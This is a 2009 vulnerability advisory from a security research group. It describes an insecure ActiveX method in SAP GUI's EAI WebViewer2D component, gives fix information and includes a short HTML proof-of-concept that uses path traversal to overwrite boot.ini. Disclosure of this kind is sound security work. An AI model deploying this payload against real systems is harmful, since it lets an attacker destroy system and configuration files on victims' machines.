[DSECRG-09-043] SAP GUI 7.1 Insecure Method



Digital Security Research Group [DSecRG] Advisory #DSECRG-09-043


Application: EAI WebViewer2D (EnjoySAP, SAP GUI for Windows 6.4 and 7.1)
Versions Affected: Tested on 7100.2.7.1038 PL 7
Vendor URL: http://SAP.com
Bugs: insecure method, File owervriting
Exploits: YES
Reported: 02.07.2009
Vendor response: 02.07.2009
Date of Public Advisory: 28.09.2009
CVE-number:
Author: Alexandr Polyakov
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

SAP GUI for Windows 7.1 and 6.4 contains ActiveX component EAI WebViewer2D ( file WebViewer2D.dll) Lib GUID: {A76CEBEE-7364-11D2-AA6B-00E02924C34E}

which is contains insecure method that can overwrite any file in system.

Details
*******

Attacker can construct html page which call vulnerable function SaveToSessionFile from ActiveX component EAI WebViewer2D



Example1:

<HTML>
<BODY>
<object id=ctrl classid="clsid:{A76CEBEE-7364-11D2-AA6B-00E02924C34E}"></object>
<SCRIPT>
function Do_1t()
{
File = "../../../../../../../../../../../../boot.ini"
ctrl.SaveToSessionFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>



For example we can overwrite boot.ini file or sapgui.ini which contains all connectionbs to sap servers


Fix Information
***************
The security issue is addressed with SAP note 1372153.

"the methods given in the message have been changed recently to
immediately return and they do nothing."

References
**********

http://dsecrg.com/pages/vul/show.php?id=143
https://service.sap.com/sap/support/notes/1372153.


About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com











Polyakov Alexandr
Information Security Analyst
______________________
DIGITAL SECURITY
phone: +7 812 703 1547
+7 812 430 9130
e-mail: a.polyakov@xxxxxxx
www.dsec.ru


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